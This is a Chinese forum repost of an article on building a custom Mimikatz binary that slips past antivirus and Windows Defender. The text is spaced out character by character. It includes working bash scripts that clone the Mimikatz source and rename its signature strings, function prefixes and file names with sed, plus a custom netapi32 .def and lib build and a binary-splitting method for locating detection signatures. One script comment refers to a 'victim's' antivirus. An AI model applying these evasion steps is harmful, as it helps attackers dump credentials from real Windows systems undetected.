搜索

[15938] 2020-10-07_手把手教你构建自定义的Mimikatz二进制文件

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2020-10-07_手把手教你构建自定义的Mimikatz二进制文件 手 把 手 教 你 构 建 自 定 义 的 M i m i k a t z 二 进 制 文 件 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 0 - 0 7 介 绍 介 绍 在 这 篇 文 章 中 ， 我 们 将 教 会 大 家 如 何 通 过 修 改 源 代 码 的 方 式 构 建 自 定 义 的 M i m i k a t z 二 进 制 文 件 ， 并 绕 过 反 病 毒 / 终 端 检 测 与 响 应 产 品 。 目 前 社 区 有 很 多 关 于 M i m i k a t z 混 淆 的 技 术 文 章 ， 但 大 多 数 都 针 对 的 是 如 何 让 I n v o k e - M i m i k a t z 绕 过 A M S I 或 直 接 使 用 P o w e r S h e l l 版 本 的 混 淆 工 具 。 但 是 ， 我 选 择 的 是 构 建 一 个 不 会 被 反 病 毒 产 品 标 记 的 自 定 义 M i m i k a t z 版 本 ： #   T h i s   s c r i p t   d o w n l o a d s   a n d   s l i g h t l y   " o b f u s c a t e s "   t h e   m i m i k a t z   p r o j e c t . #   M o s t   A V   s o l u t i o n s   b l o c k   m i m i k a t z   b a s e d   o n   c e r t a i n   k e y w o r d s   i n   t h e   b i n a r y   l i k e   " m i m i k a t z " ,   " g e n t i l k i w i " ,   " b e n j a m i n @ g e n t i l k i w i . c o m "   . . . , #   s o   r e m o v i n g   t h e m   f r o m   t h e   p r o j e c t   b e f o r e   c o m p i l i n g   g e t s   u s   p a s t   m o s t   o f   t h e   A V   s o l u t i o n s . #   W e   c a n   e v e n   g o   f u r t h e r   a n d   c h a n g e   s o m e   f u n c t i o n a l i t y   k e y w o r d s   l i k e   " s e k u r l s a " ,   " l o g o n p a s s w o r d s " ,   " l s a d u m p " ,   " m i n i d u m p " ,   " p t h "   . . . . , #   b u t   t h i s   n e e d s   a d a p t i n g   t o   t h e   d o c ,   s o   i t   h a s   n o t   b e e n   d o n e ,   t r y   i t   i f   y o u r   v i c t i m ' s   A V   s t i l l   d e t e c t s   m i m i k a t z   a f t e r   t h i s   p r o g r a m . g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z . g i t   w i n d o w s m v   w i n d o w s / m i m i k a t z   w i n d o w s / w i n d o w s f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / m i m i k a t z / w i n d o w s / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / M I M I K A T Z / W I N D O W S / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / M i m i k a t z / W i n d o w s / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / D E L P Y / J a m e s / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / B e n j a m i n / T r o y / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / b e n j a m i n @ g e n t i l k i w i . c o m / j t r o y @ h o t m a i l . c o m / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / c r e a t i v e c o m m o n s / p y t h o n / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / g e n t i l k i w i / M S O f f i c e / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / K I W I / O N E D R I V E / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / K i w i / O n e d r i v e / g ' f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   ' s / k i w i / o n e d r i v e / g ' f i n d   w i n d o w s /   - t y p e   f   - n a m e   ' * m i m i k a t z * '   |   w h i l e   r e a d   F I L E   ;   d o n e w f i l e = " $ ( e c h o   $ { F I L E }   | s e d   - e   ' s / m i m i k a t z / w i n d o w s / g ' ) " ; m v   " $ { F I L E } "   " $ { n e w f i l e } " ; d o n e
接 下 来 ， 我 们 一 起 看 一 看 如 何 去 构 建 一 个 自 定 义 的 M i m i k a t z 二 进 制 文 件 。 M i m i k a t z 包 含 病 毒 包 含 病 毒 毫 无 疑 问 ， 你 下 载 的 每 一 个 M i m i k a t z 发 行 版 都 会 被 反 病 毒 产 品 标 记 为 恶 意 软 件 ， 因 为 很 多 攻 击 者 都 会 选 择 使 用 M i m i k a t z 和 其 他 开 源 项 目 来 实 施 各 种 攻 击 行 为 。 显 然 ， 有 很 多 人 并 不 知 道 为 何 这 些 开 源 项 目 会 被 标 记 ， 以 及 它 们 是 如 何 被 标 记 的 ： 真 实 的 攻 击 者 和 渗 透 测 试 人 员 一 般 都 不 会 直 接 选 择 使 用 项 目 的 发 布 版 本 ， 而 通 常 会 选 择 使 用 自 己 的 自 定 义 构 建 版 本 。 一 般 来 说 ， 他 们 只 会 选 择 使 用 M i m i k a t z 的 部 分 源 代 码 。 在 这 种 情 况 下 ， 我 们 会 在 保 留 原 有 功 能 特 性 的 基 础 上 对 源 代 码 进 行 修 改 以 评 估 其 检 测 率 。 因 此 ， 使 用 自 定 义 的 源 码 文 件 还 是 我 们 最 佳 的 实 践 方 式 。 基 础 特 征 基 础 特 征 针 对 M i m i k a t z 的 特 征 ， 我 们 首 先 需 要 替 换 掉 下 列 字 符 串 ： 1 、 m i m i k a t z ,   M I M I K A T Z 和 M i m i k a t z 2 、 D E L P Y ,   B e n j a m i n ,   b e n j a m i n @ g e n t i l k i w i . c o m 3 、 c r e a t i v e c o m m o n s 4 、 g e n t i l k i w i 5 、 K I W I ,   K i w i 和 k i w i 从 反 病 毒 厂 商 的 角 度 来 看 ， 首 先 需 要 标 记 的 就 是 源 码 文 件 中 的 这 些 字 符 串 ， 如 果 你 打 开 M i m i k a t z 的 菜 单 ， 你 将 看 到 如 下 图 所 示 的 信 息 ： 菜 单 中 所 有 的 字 符 串 都 可 以 证 明 M i m i k a t z 正 在 运 行 ， 所 以 我 们 需 要 在 脚 本 中 添 加 下 列 特 征 字 符 串 来 替 换 掉 它 们 ： f i n d   w i n d o w s /   - t y p e   f   - n a m e   ' * k i w i * '   |   w h i l e   r e a d   F I L E   ;   d o n e w f i l e = " $ ( e c h o   $ { F I L E }   | s e d   - e   ' s / k i w i / o n e d r i v e / g ' ) " ; m v   " $ { F I L E } "   " $ { n e w f i l e } " ; D o n e “ A   L a   V i e ,   A   L ’ A m o u r ” h t t p : / / b l o g . g e n t i l k i w i . c o m / m i m i k a t z V i n c e n t   L E   T O U X
我 们 也 可 以 直 接 打 开 m i m i k a t z . c 文 件 ， 然 后 替 换 掉 B a n n e r ， 或 者 直 接 删 掉 它 们 。 接 下 来 ， 我 们 还 需 要 替 换 掉 一 些 功 能 性 的 关 键 词 。 M i m i k a t z 中 的 主 模 块 如 下 ： 我 们 还 可 以 输 入 一 个 无 效 的 模 块 名 （ 例 如 : : ） 来 显 示 所 有 可 用 模 块 ： 在 这 里 ， 我 们 有 两 个 选 择 。 要 么 把 所 有 的 函 数 名 替 换 成 全 大 写 字 母 ， 或 者 直 接 修 改 函 数 名 称 。 对 于 第 一 种 方 法 ， 我 们 熟 悉 的 那 些 函 数 相 当 于 没 有 变 化 。 但 对 于 第 二 种 方 法 ， 我 们 就 得 去 记 新 的 函 数 名 了 。 目 前 ， 我 们 选 择 继 续 使 用 熟 悉 得 函 数 名 ， 因 为 我 怕 一 旦 不 小 心 ， 就 会 破 坏 其 原 有 功 能 。 为 了 为 每 个 新 版 本 构 建 一 个 自 定 义 二 进 制 文 件 ， 我 们 用 随 机 名 称 替 换 与 函 数 名 无 关 的 字 符 串 。 要 替 换 的 另 一 个 重 要 内 容 是 二 进 制 文 件 的 图 标 。 因 此 ， 在 g i s t 的 修 改 版 本 中 ， 我 们 用 一 些 随 机 下 载 的 图 标 替 换 现 有 的 图 标 。 主 菜 单 中 的 每 个 功 能 都 有 子 功 能 。 例 如 ， 最 著 名 的 函 数 s e k u r l s a 就 包 含 了 以 下 子 函 数 ： 确 保 大 部 分 熟 知 的 M i m i k a t z 标 识 符 都 已 经 被 修 改 了 ， 其 中 也 包 括 子 函 数 名 。 脚 本 样 例 代 码 ： h t t p s : / / g i s t . g i t h u b . c o m / S 3 c u r 3 T h 1 s S h 1 t / 0 8 6 2 3 d e 0 c 5 c c 6 7 d 3 6 d 4 a 2 3 5 c e c 0 f 5 3 3 3 通 过 执 行 B a s h 脚 本 ， 编 译 代 码 ， 并 上 传 至 V i r u s T o a l ， 我 们 将 查 看 到 下 列 结 果 ： v i n c e n t . l e t o u x @ g m a i l . c o m h t t p : / / p i n g c a s t l e . c o m h t t p : / / m y s m a r t l o g o n . c o m 1 、 c r y p t o ,   d p a p i ,   k e r b e r o s ,   l s a d u m p ,   n g c ,   s e k u r l s a 2 、 s t a n d a r d ,   p r i v i l e g e ,   p r o c e s s ,   s e r v i c e ,   t s ,   e v e n t 3 、 m i s c ,   t o k e n ,   v a u l t ,   m i n e s w e e p e r ,   n e t ,   b u s y l i g h t 4 、 s y s e n v ,   s i d ,   i i s ,   r p c ,   s r 9 8 ,   r d m ,   a c r 1 、 m s v ,   w d i g e s t ,   k e r b e r o s ,   t s p k g 2 、 l i v e s s p ,   c l o u d a p ,   s s p ,   l o g o n p a s s w o r d s 3 、 p r o c e s s ,   m i n i d u m p ,   b o o t k e y ,   p t h 4 、 k r b t g t ,   d p a p i s y s t e m ,   t r u s t ,   b a c k u p k e y s 5 、 t i c k e t s ,   e k e y s ,   d p a p i ,   c r e d m a n
2 5 / 6 7 的 检 测 率 ， 但 肯 定 还 不 够 。 n e t a p i 3 2 . d l l 为 了 找 到 更 多 的 特 征 ， 我 们 可 以 使 用 下 列 命 令 来 将 文 件 分 割 成 多 个 部 分 ： 如 果 结 果 文 件 被 删 除 了 ， 说 明 其 中 就 存 在 特 征 。 如 果 没 有 被 删 除 ， 那 么 这 部 分 文 件 就 是 安 全 的 。 你 还 可 以 使 用 D e f e n d e r C h e c k 工 具 来 自 动 化 实 现 该 任 务 。 简 单 来 说 ， 就 是 将 文 件 分 割 成 多 个 部 分 ， 然 后 把 它 们 拷 贝 到 C : t e m p 目 录 下 ， 并 用 W i n d o w s   D e f e n d e r 进 行 扫 描 ： n e t a p i 3 2 . d l l 中 的 下 面 这 三 个 函 数 都 会 被 W i n d o w s   D e f e n d e r 标 记 ： 在 这 里 ， 我 们 可 以 创 建 一 个 包 含 下 列 内 容 的 . d e f 文 件 来 构 建 一 个 自 定 义 的 n e t a p i 3 2 . m i n . l i b ： 此 时 ， 我 们 可 以 使 用 下 列 命 令 在 V i s u a l   S t u d i o 开 发 者 终 端 中 构 建 n e t a p i 3 2 . m i n . l i b 文 件 ： h e a d   - c   b y t e L e n g t h   m i m i k a t z . e x e   >   s p l i t . e x e I _ N e t S e r v e r A u t h e n t i c a t e 2 I _ N e t S e r v e r R e q C h a l l e n g e I _ N e t S e r v e r T r u s t P a s s w o r d s G e t I B R A R Y   n e t a p i 3 2 . d l l E X P O R T S     I _ N e t S e r v e r A u t h e n t i c a t e 2   @   5 9     I _ N e t S e r v e r R e q C h a l l e n g e   @   6 5     I _ N e t S e r v e r T r u s t P a s s w o r d s G e t   @   6 2 l i b   / D E F : n e t a p i 3 2 . d e f   / O U T : n e t a p i 3 2 . m i n . l i b
我 们 将 该 文 件 嵌 入 至 l i b x 6 4 目 录 ， 然 后 重 新 编 译 。 再 次 运 行 D e f e n d e r C h e c k 之 后 ， 将 无 法 检 测 到 任 何 内 容 ： 这 也 就 意 味 着 ， 我 们 已 经 绕 过 了 W i n d o w s   D e f e n d e r 的 “ 实 时 保 护 ” 功 能 。 但 如 果 我 们 启 用 云 保 护 功 能 ， 然 后 将 该 文 件 拷 贝 至 其 他 位 置 ， 它 还 是 会 被 检 测 到 ： 替 换 更 多 的 字 符 串 替 换 更 多 的 字 符 串 当 然 了 ， 我 们 还 有 很 多 需 要 替 换 的 东 西 。 首 先 ， 我 们 还 要 处 理 那 些 比 较 明 显 的 字 符 串 。 M i m i k a t z 菜 单 中 包 含 对 每 个 函 数 的 介 绍 。 比 如 说 ， 子 函 数 p r i v i l e g e 就 有 下 列 描 述 信 息 ： 这 里 ， 我 们 可 以 将 所 有 的 描 述 以 字 符 串 的 形 式 添 加 进 我 们 的 B a s h 脚 本 中 来 进 行 替 换 。 但 并 非 所 有 都 需 要 ， 比 如 说 下 面 这 些 ： 很 多 反 病 毒 厂 商 会 将 相 关 的 功 能 性 D L L 文 件 加 载 行 为 也 进 行 标 记 ， M i m i k a t z 需 要 从 . D L L 文 件 中 加 载 很 多 函 数 ， 为 了 在 M i m i k a t z 源 代 码 中 找 到 相 关 的 D L L 文 件 ， 我 们 需 要 打 开 V i s u a l   S t u d i o ， 按 下 S T R G   +   S H I F T   +   F 。 此 时 将 能 够 搜 索 整 个 项 目 ， 搜 索 . d l l 就 可 以 查 看 到 项 目 中 所 有 使 用 到 的 D L L 文 件 了 ， 然 后 将 它 们 添 加 到 B a s h 脚 本 中 进 行 名 称 替 换 即 可 。 目 录 目 录 & 文 件 结 构 文 件 结 构 整 个 项 目 的 目 录 结 构 似 乎 也 是 反 病 毒 产 品 检 测 的 根 据 之 一 ， 这 里 所 有 可 用 的 函 数 名 称 貌 似 都 是 以 k u h l 或 K U L L 作 为 前 缀 来 声 明 的 ： a n s w e r   -   A n s w e r   t o   t h e   U l t i m a t e   Q u e s t i o n   o f   L i f e ,   t h e   U n i v e r s e ,   a n d   E v e r y t h i n g c o f f e e   -   P l e a s e ,   m a k e   m e   a   c o f f e e !
我 们 可 以 直 接 替 换 掉 这 些 前 缀 ： B a s h 脚 本 ： h t t p s : / / g i s t . g i t h u b . c o m / S 3 c u r 3 T h 1 s S h 1 t / c b 0 4 0 a 7 5 0 f 5 9 8 4 c 4 1 c 8 f 9 7 9 0 4 0 e d 1 1 2 a 执 行 B a s h 脚 本 之 后 ， 编 译 并 上 传 至 V i r u s t o t a l ： k u h l = $ ( c a t   / d e v / u r a n d o m   |   t r   - d c   " a - z "   |   f o l d   - w   4   |   h e a d   - n   1 ) f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   " s / k u h l / $ k u h l / g " k u l l = $ ( c a t   / d e v / u r a n d o m   |   t r   - d c   " a - z "   |   f o l d   - w   4   |   h e a d   - n   1 ) f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   " s / k u l l / $ k u l l / g " f i n d   w i n d o w s /   - t y p e   f   - n a m e   " * k u h l * "   |   w h i l e   r e a d   F I L E   ;   d o n e w f i l e = " $ ( e c h o   $ { F I L E }   | s e d   - e   " s / k u h l / $ k u h l / g " ) " ; m v   " $ { F I L E } "   " $ { n e w f i l e } " ; d o n e f i n d   w i n d o w s /   - t y p e   f   - n a m e   " * k u l l * "   |   w h i l e   r e a d   F I L E   ;   d o n e w f i l e = " $ ( e c h o   $ { F I L E }   | s e d   - e   " s / k u l l / $ k u l l / g " ) " ; m v   " $ { F I L E } "   " $ { n e w f i l e } " ; d o n e u n d e r = $ ( c a t   / d e v / u r a n d o m   |   t r   - d c   " a - z "   |   f o l d   - w   4   |   h e a d   - n   1 ) f i n d   w i n d o w s /   - t y p e   f   - p r i n t 0   |   x a r g s   - 0   s e d   - i   " s / _ m _ / $ u n d e r / g " f i n d   w i n d o w s /   - t y p e   f   - n a m e   " * _ m _ * "   |   w h i l e   r e a d   F I L E   ;   d o n e w f i l e = " $ ( e c h o   $ { F I L E }   | s e d   - e   " s / _ m _ / $ u n d e r / g " ) " ; m v   " $ { F I L E } "   " $ { n e w f i l e } " ; D o n e
虽 然 检 测 率 还 没 啥 太 大 变 化 ， 但 目 前 已 经 可 以 绕 过 开 启 了 云 保 护 功 能 的 W i n d o w s   D e f e n d e r 了 ： 链 接 链 接 & 资 源 资 源 W i n P w n   -   h t t p s : / / g i t h u b . c o m / S 3 c u r 3 T h 1 s S h 1 t / W i n P w n I n s p i r i n g   G i s t   -   h t t p s : / / g i s t . g i t h u b . c o m / i m a i b o u / 9 2 f e b a 3 4 5 5 b f 1 7 3 f 1 2 3 f b e 5 0 b b e 8 0 7 8 1 M i m i k a t z   -   h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z M i m i k a t z   F e a t u r e s   &   D e t e c t i o n   -   h t t p s : / / a d s e c u r i t y . o r g / ? p a g e _ i d = 1 8 2 1 D e f e n d e r C h e c k   -   h t t p s : / / g i t h u b . c o m / m a t t e r p r e t e r / D e f e n d e r C h e c k O b f u s c a t i n g   M i m i k a t z   -   h t t p s : / / s u d o n u l l . c o m / p o s t / 2 7 3 3 0 - G e t t i n g - a r o u n d - W i n d o w s - D e f e n d e r - c h e a p l y - a n d - c h e e r f u l l y - o b f u s c a t i n g - M i m i k a t z - T H u n t e r - B l o g A V C l e a n e r   C / C + +   o b f u s c a t i o n   -   h t t p s : / / b l o g . s c r t . c h / 2 0 2 0 / 0 6 / 1 9 / e n g i n e e r i n g - a n t i v i r u s - e v a s i o n / & h t t p s : / / b l o g . s c r t . c h / 2 0 2 0 / 0 7 / 1 5 / e n g i n e e r i n g - a n t i v i r u s - e v a s i o n - p a r t - i i / P E Z o r   -   h t t p s : / / i w a n t m o r e . p i z z a / p o s t s / P E z o r . h t m l 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理